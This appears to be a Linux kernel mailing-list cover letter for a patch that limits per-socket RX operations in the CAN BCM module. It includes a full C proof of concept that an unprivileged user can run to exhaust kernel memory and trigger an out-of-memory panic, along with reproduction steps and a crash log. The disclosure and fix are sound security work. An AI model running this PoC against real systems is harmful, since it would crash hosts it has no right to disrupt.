From: Zihan Xi <zihanx@nebusec.ai>
To: linux-can@vger.kernel.org, mkl@pengutronix.de, socketcan@hartkopp.net
Cc: urs.thuermann@volkswagen.de, davem@davemloft.net,
vega@nebusec.ai, zihanx@nebusec.ai
Subject: [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources
Date: Wed, 28 Oct 2026 13:43:24 +0000 [thread overview]
Message-ID: <cover.1793109154.git.zihanx@nebusec.ai> (raw)
In-Reply-To: <cover.1793089479.git.zihanx@nebusec.ai>
Hi Linux kernel maintainers,
We found an issue in net/can/bcm.c.
The bug is reachable by an unprivileged local user.
The relevant details are provided below.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11134 (11134)
Bug details:
bcm_rx_setup() limits frames in one operation but not the number of
operations attached to a socket. Distinct CAN IDs create distinct
operations; with ifindex 0, a local unprivileged process needs no CAN
device. CAN-FD operations allocate frame arrays and CAN receiver
objects outside socket buffer accounting, allowing repeated requests
to consume kernel memory.
Limit each socket to 1024 RX operations/receivers and 16 MiB of BCM
operation and frame-array allocations. Keep operation charges until
the operation is freed, and receiver charges until CAN-core RCU
reclamation frees each receiver. Reject requests over the limits with
-ENOBUFS.
Changes in v2:
Set the error to -ENOMEM when either RX frame-array allocation fails,
before entering the common cleanup path. This ensures the send syscall
reports the allocation failure instead of returning success. Both
frame-array allocation failure paths were exercised with guest
fail_page_alloc injection.
Reproducer:
Build the included PoC source with:
cc -O2 -Wall -Wextra -o poc poc.c
In the guest's initial user and network namespaces, as root, configure
OOM panic to capture the crash:
echo 0 > /proc/sys/kernel/panic_on_warn
echo 2 > /proc/sys/vm/panic_on_oom
echo 0 > /proc/sys/vm/oom_kill_allocating_task
Then, as the unprivileged guest user test_user (UID 1001), run:
./poc 0 1000
No namespace setup, added capabilities, or CAN device is required; the
socket uses ifindex 0. Root is used only to set the OOM sysctls.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define BCM_NFRAMES 257U
#define DEFAULT_PROGRESS_STEP 1000U
struct rx_setup_req {
struct bcm_msg_head head;
struct canfd_frame frames[BCM_NFRAMES];
};
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static unsigned long parse_ul(const char *arg, const char *name)
{
char *end = NULL;
unsigned long value;
errno = 0;
value = strtoul(arg, &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid %s: %s\n", name, arg);
exit(EXIT_FAILURE);
}
return value;
}
int main(int argc, char **argv)
{
unsigned long max_ops = 0;
unsigned long progress_step = DEFAULT_PROGRESS_STEP;
unsigned long hold_seconds = 0;
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = 0,
};
struct rx_setup_req *req;
size_t req_len;
unsigned long i;
int fd;
if (argc > 1)
max_ops = parse_ul(argv[1], "max_ops");
if (argc > 2)
progress_step = parse_ul(argv[2], "progress_step");
if (argc > 3)
hold_seconds = parse_ul(argv[3], "hold_seconds");
if (!progress_step)
progress_step = DEFAULT_PROGRESS_STEP;
req = aligned_alloc(8, sizeof(*req));
if (!req)
die("aligned_alloc");
memset(req, 0, sizeof(*req));
req->head.opcode = RX_SETUP;
req->head.flags = CAN_FD_FRAME;
req->head.nframes = BCM_NFRAMES;
for (i = 0; i < BCM_NFRAMES; i++) {
req->frames[i].len = CANFD_MAX_DLEN;
memset(req->frames[i].data, (int)i, sizeof(req->frames[i].data));
}
req_len = sizeof(*req);
fd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (fd < 0)
die("socket(PF_CAN, SOCK_DGRAM, CAN_BCM)");
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("connect(AF_CAN, ifindex=0)");
for (i = 0; !max_ops || i < max_ops; i++) {
ssize_t written;
uint32_t id = (uint32_t)((i + 1) & CAN_EFF_MASK);
req->head.can_id = CAN_EFF_FLAG | id;
written = send(fd, req, req_len, 0);
if (written < 0) {
fprintf(stderr,
"send failed after %lu RX_SETUP operations: %s\n",
i, strerror(errno));
return EXIT_FAILURE;
}
if ((i + 1) % progress_step == 0) {
fprintf(stderr,
"installed=%lu bytes_per_req=%zu total_payload=%" PRIu64 "\n",
i + 1, req_len, (uint64_t)(i + 1) * req_len);
}
}
fprintf(stderr, "completed %lu RX_SETUP operations without send failure\n",
i);
if (hold_seconds) {
fprintf(stderr, "holding socket open for %lu seconds\n",
hold_seconds);
sleep(hold_seconds);
}
return EXIT_SUCCESS;
}
------END PoC--------
----BEGIN crash log----
The stack below is decoded with source locations from the DWARF5,
reduced-debug-info build. The guest OOM was triggered during
`bcm_sendmsg()` allocation at `net/can/bcm.c:1431`.
[ 95.493290][ T9374] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=3, oom_score_adj=0
[ 95.493324][ T9374] Call Trace:
[ 95.493466][ T9374] dump_header (mm/oom_kill.c:464)
[ 95.493544][ T9374] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[ 95.493555][ T9374] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 95.493567][ T9374] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 95.493636][ T9374] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 95.493866][ T9374] __kmalloc_noprof (mm/slub.c:5402 mm/slub.c:5439)
[ 95.493899][ T9374] ? bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[ 95.493920][ T9374] bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[ 95.493933][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[ 95.493971][ T9374] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[ 95.494018][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[ 95.494027][ T9374] ? __pfx___sys_sendto (net/socket.c:2235)
[ 95.497355][ T9374] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
can: bcm: limit RX operation resource usage per socket
include/linux/can/core.h | 7 +++
net/can/af_can.c | 34 ++++++++++-
net/can/af_can.h | 1 +
net/can/bcm.c | 127 +++++++++++++++++++++++++++++++++------
4 files changed, 147 insertions(+), 22 deletions(-)
--
2.43.0
next prev parent reply other threads:[~2026-10-28 13:43 UTC|newest]
Thread overview: 13+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-27 11:18 [PATCH net 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi
2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi
2026-10-27 11:29 ` sashiko-bot
2026-10-27 13:08 ` zihan xi
2026-10-27 13:11 ` Marc Kleine-Budde
2026-10-27 13:22 ` Oliver Hartkopp
2026-10-28 13:43 ` Zihan Xi [this message]
2026-10-28 13:43 ` [PATCH net v2 " Zihan Xi
2026-10-28 13:53 ` sashiko-bot
2026-10-28 14:14 ` zihan xi
2026-10-28 15:04 ` Oliver Hartkopp
2026-10-28 15:36 ` zihan xi
2026-10-28 16:04 ` Oliver Hartkopp
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1793109154.git.zihanx@nebusec.ai \
--to=zihanx@nebusec.ai \
--cc=davem@davemloft.net \
--cc=linux-can@vger.kernel.org \
--cc=mkl@pengutronix.de \
--cc=socketcan@hartkopp.net \
--cc=urs.thuermann@volkswagen.de \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.